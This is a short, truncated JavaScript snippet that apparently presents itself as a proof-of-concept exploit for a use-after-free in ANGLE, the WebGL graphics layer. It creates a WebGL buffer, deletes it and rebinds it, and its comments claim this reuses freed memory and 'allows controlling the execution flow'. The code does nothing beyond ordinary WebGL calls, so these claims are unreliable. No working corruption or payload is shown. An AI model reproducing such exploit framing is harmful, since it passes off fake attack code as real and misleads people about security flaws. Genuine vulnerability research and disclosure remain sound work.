    // Step 1: Create a WebGL context to interact with ANGLE
    const canvas = document.createElement('canvas');
    const gl = canvas.getContext('webgl');

    if (!gl) {
        console.log("WebGL not supported");
    } else {
        // Step 2: Create and manipulate a buffer object in ANGLE
        const buffer = gl.createBuffer();
        gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
        gl.bufferData(gl.ARRAY_BUFFER, 1024, gl.STATIC_DRAW);

        // Step 3: Trigger the vulnerability (Use-After-Free)
        // In the vulnerable version, specific operations cause the buffer to be freed
        // while a reference to it still exists in the compromised renderer.
        gl.deleteBuffer(buffer);

        // Step 4: Attempt to reuse the freed memory
        // If successful, this allows controlling the execution flow.
        try {
            gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
            console.log("[+] Potential UAF triggered, memory accessed.");
